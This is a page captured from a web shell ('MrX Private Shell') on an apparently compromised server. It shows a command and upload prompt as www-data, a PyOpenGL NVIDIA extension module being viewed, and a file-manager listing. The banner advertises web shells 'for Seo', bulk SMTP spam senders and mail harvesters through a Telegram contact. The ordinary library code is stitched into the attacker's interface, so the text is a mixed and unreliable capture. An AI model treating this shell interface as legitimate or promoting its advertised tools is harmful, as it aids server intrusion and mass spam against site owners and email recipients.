__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.60: ~ $
'''OpenGL extension NV.internalformat_sample_query

This module customises the behaviour of the 
OpenGL.raw.GL.NV.internalformat_sample_query to provide a more 
Python-friendly API

Overview (from the spec)
	
	Some OpenGL implementations support modes of multisampling which have
	properties which are non-obvious to applications and/or which may not be
	standards conformant. The idea of non-conformant AA modes is not new,
	and is exposed in both GLX and EGL with config caveats and the
	GLX_NON_CONFORMANT_CONFIG for GLX and EGL_NON_CONFORMANT_CONFIG for EGL,
	or by querying the EGL_CONFORMANT attribute in newer versions of EGL.
	
	Both of these mechanisms operate on a per-config basis, which works as
	intended for window-based configs. However, with the advent of
	application-created FBOs, it is now possible to do all the multisample
	operations in an application-created FBO and never use a multisample
	window.
	
	This extension further extends the internalformat query mechanism
	(first introduced by ARB_internalformat_query and extended in
	ARB_internalformat_query2) and introduces a mechanism for a
	implementation to report properties of formats that may also be
	dependent on the number of samples.  This includes information
	such as whether the combination of format and samples should be
	considered conformant. This enables an implementation to report
	caveats which might apply to both window and FBO-based rendering
	configurations.
	
	Some NVIDIA drivers support multisample modes which are internally
	implemented as a combination of multisampling and automatic
	supersampling in order to obtain a higher level of anti-aliasing than
	can be directly supported by hardware. This extension allows those
	properties to be queried by an application with the MULTISAMPLES_NV,
	SUPERSAMPLE_SCALE_X_NV and SUPERSAMPLE_SCALE_Y_NV properties. For
	example, a 16xAA mode might be implemented by using 4 samples and
	up-scaling by a factor of 2 in each of the x- and y-dimensions.
	In this example, the driver might report MULTSAMPLES_NV of 4,
	SUPERSAMPLE_SCALE_X_NV of 2, SUPERSAMPLE_SCALE_Y_NV of 2 and
	CONFORMANT_NV of FALSE.
	

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/NV/internalformat_sample_query.txt
'''
from OpenGL import platform, constant, arrays
from OpenGL import extensions, wrapper
import ctypes
from OpenGL.raw.GL import _types, _glgets
from OpenGL.raw.GL.NV.internalformat_sample_query import *
from OpenGL.raw.GL.NV.internalformat_sample_query import _EXTENSION_NAME

def glInitInternalformatSampleQueryNV():
    '''Return boolean indicating whether this extension is available'''
    from OpenGL import extensions
    return extensions.hasGLExtension( _EXTENSION_NAME )

# INPUT glGetInternalformatSampleivNV.params size not checked against count
glGetInternalformatSampleivNV=wrapper.wrapper(glGetInternalformatSampleivNV).setInputArraySize(
    'params', None
)
### END AUTOGENERATED SECTION

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 23 B 0644
alpha_to_coverage_dither_control.py File 1.03 KB 0644
bindless_multi_draw_indirect.py File 1.78 KB 0644
bindless_multi_draw_indirect_count.py File 1.09 KB 0644
bindless_texture.py File 3.75 KB 0644
blend_equation_advanced.py File 5.21 KB 0644
blend_equation_advanced_coherent.py File 856 B 0644
blend_minmax_factor.py File 1.59 KB 0644
blend_square.py File 1.26 KB 0644
clip_space_w_scaling.py File 2.52 KB 0644
command_list.py File 3.16 KB 0644
compute_program5.py File 1.17 KB 0644
compute_shader_derivatives.py File 1.4 KB 0644
conditional_render.py File 2.22 KB 0644
conservative_raster.py File 1.59 KB 0644
conservative_raster_dilate.py File 1.42 KB 0644
conservative_raster_pre_snap.py File 1.14 KB 0644
conservative_raster_pre_snap_triangles.py File 2.21 KB 0644
conservative_raster_underestimation.py File 1.49 KB 0644
copy_depth_to_color.py File 2.35 KB 0644
copy_image.py File 1.09 KB 0644
deep_texture3D.py File 1.16 KB 0644
depth_buffer_float.py File 1.97 KB 0644
depth_clamp.py File 2.32 KB 0644
draw_texture.py File 2.01 KB 0644
draw_vulkan_image.py File 2.29 KB 0644
evaluators.py File 4.78 KB 0644
explicit_multisample.py File 1.62 KB 0644
fence.py File 2.69 KB 0644
fill_rectangle.py File 1.16 KB 0644
float_buffer.py File 4.33 KB 0644
fog_distance.py File 2.44 KB 0644
fragment_coverage_to_color.py File 1.5 KB 0644
fragment_program.py File 4.54 KB 0644
fragment_program2.py File 1.92 KB 0644
fragment_program4.py File 2.2 KB 0644
fragment_program_option.py File 1.79 KB 0644
fragment_shader_barycentric.py File 1.27 KB 0644
fragment_shader_interlock.py File 3.83 KB 0644
framebuffer_mixed_samples.py File 3.55 KB 0644
framebuffer_multisample_coverage.py File 1.81 KB 0644
geometry_program4.py File 3.23 KB 0644
geometry_shader4.py File 1.3 KB 0644
geometry_shader_passthrough.py File 3.28 KB 0644
gpu_multicast.py File 2.7 KB 0644
gpu_program4.py File 4.41 KB 0644
gpu_program5.py File 6.46 KB 0644
gpu_program5_mem_extended.py File 2.45 KB 0644
gpu_shader5.py File 6.27 KB 0644
half_float.py File 3.91 KB 0644
internalformat_sample_query.py File 2.92 KB 0644
light_max_exponent.py File 1.26 KB 0644
memory_attachment.py File 1.11 KB 0644
memory_object_sparse.py File 881 B 0644
mesh_shader.py File 1.23 KB 0644
multisample_coverage.py File 2.03 KB 0644
multisample_filter_hint.py File 1.51 KB 0644
occlusion_query.py File 4.35 KB 0644
packed_depth_stencil.py File 4.46 KB 0644
parameter_buffer_object.py File 2.52 KB 0644
parameter_buffer_object2.py File 2.52 KB 0644
path_rendering.py File 25.2 KB 0644
path_rendering_shared_edge.py File 1.41 KB 0644
pixel_data_range.py File 3.82 KB 0644
point_sprite.py File 2.16 KB 0644
present_video.py File 2.08 KB 0644
primitive_restart.py File 2 KB 0644
primitive_shading_rate.py File 1.98 KB 0644
query_resource.py File 2.03 KB 0644
query_resource_tag.py File 1.44 KB 0644
register_combiners.py File 5.44 KB 0644
register_combiners2.py File 2.48 KB 0644
representative_fragment_test.py File 2.37 KB 0644
robustness_video_memory_purge.py File 1.98 KB 0644
sample_locations.py File 2.64 KB 0644
sample_mask_override_coverage.py File 1.21 KB 0644
scissor_exclusive.py File 1.66 KB 0644
shader_atomic_counters.py File 1.24 KB 0644
shader_atomic_float.py File 1.58 KB 0644
shader_atomic_float64.py File 1.53 KB 0644
shader_atomic_fp16_vector.py File 1.05 KB 0644
shader_atomic_int64.py File 1.01 KB 0644
shader_buffer_load.py File 5.84 KB 0644
shader_buffer_store.py File 2.16 KB 0644
shader_storage_buffer_object.py File 1.26 KB 0644
shader_subgroup_partitioned.py File 1.41 KB 0644
shader_texture_footprint.py File 3.83 KB 0644
shader_thread_group.py File 2.5 KB 0644
shader_thread_shuffle.py File 1.53 KB 0644
shading_rate_image.py File 3.83 KB 0644
stereo_view_rendering.py File 2.1 KB 0644
tessellation_program5.py File 5.23 KB 0644
texgen_emboss.py File 1.7 KB 0644
texgen_reflection.py File 1.34 KB 0644
texture_barrier.py File 929 B 0644
texture_compression_vtc.py File 1.13 KB 0644
texture_env_combine4.py File 1.57 KB 0644
texture_expand_normal.py File 1.26 KB 0644
texture_multisample.py File 1.35 KB 0644
texture_rectangle.py File 2.2 KB 0644
texture_rectangle_compressed.py File 1.04 KB 0644
texture_shader.py File 8.61 KB 0644
texture_shader2.py File 1.42 KB 0644
texture_shader3.py File 4.71 KB 0644
timeline_semaphore.py File 1.29 KB 0644
transform_feedback.py File 4.21 KB 0644
transform_feedback2.py File 2.56 KB 0644
uniform_buffer_std430_layout.py File 1.49 KB 0644
uniform_buffer_unified_memory.py File 1.32 KB 0644
vdpau_interop.py File 2.26 KB 0644
vdpau_interop2.py File 1.15 KB 0644
vertex_array_range.py File 4.84 KB 0644
vertex_array_range2.py File 1.34 KB 0644
vertex_attrib_integer_64bit.py File 2.29 KB 0644
vertex_buffer_unified_memory.py File 1.48 KB 0644
vertex_program.py File 9.02 KB 0644
vertex_program1_1.py File 1.98 KB 0644
vertex_program2.py File 4.61 KB 0644
vertex_program2_option.py File 1.7 KB 0644
vertex_program3.py File 1.49 KB 0644
vertex_program4.py File 3.52 KB 0644
video_capture.py File 2.38 KB 0644
viewport_array2.py File 1.88 KB 0644
viewport_swizzle.py File 1.68 KB 0644
Filemanager